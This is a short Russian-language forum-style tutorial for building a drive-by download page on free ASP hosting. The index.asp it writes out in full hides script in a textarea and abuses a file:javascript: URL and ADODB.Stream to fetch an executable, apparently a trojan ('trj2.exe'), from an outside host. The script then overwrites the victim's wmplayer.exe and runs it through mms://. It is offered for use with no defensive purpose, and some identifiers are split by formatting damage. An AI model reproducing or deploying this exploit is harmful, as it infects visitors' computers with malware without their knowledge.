1) Регим хостинг ASP (
www.brinkster.com).
2) Создаем файл index.asp с следующим содержанием:
Цитата:
<html>
<textarea id="code" style="display:none;">
var x = new ActiveXObject("Microsoft.XMLHT TP");
x.Open("GET", "http://www.nastechka666.nm.ru/trj2.exe",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";
</textarea>
<script language="javascript">
function preparecode(code) {
result = '';
lines = code.split(/\r\n/);
for (i=0;i<lines.length;i++) {
line = lines[i];
line = line.replace(/^\s+/,"");
line = line.replace(/\s+$/,"");
line = line.replace(/'/g,"\\'");
line = line.replace(/[\\]/g,"\\\\");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}
function doit() {
mycode = preparecode(document.all.code. value);
myURL = "file:javascript:eval('" + mycode + "')";
window.open(myURL,"_media")
}
window.open("error.asp","_medi a");
setTimeout("doit()", 5000);
</script>
</html>
|
3) Создаем файл error.asp с следующим содержанием:
Цитата:
|
<% response.setStatus(HttpServlet Response.SC_UNAUTHORIZED); %>
|
4) Сидим сложа руки довольные собой :)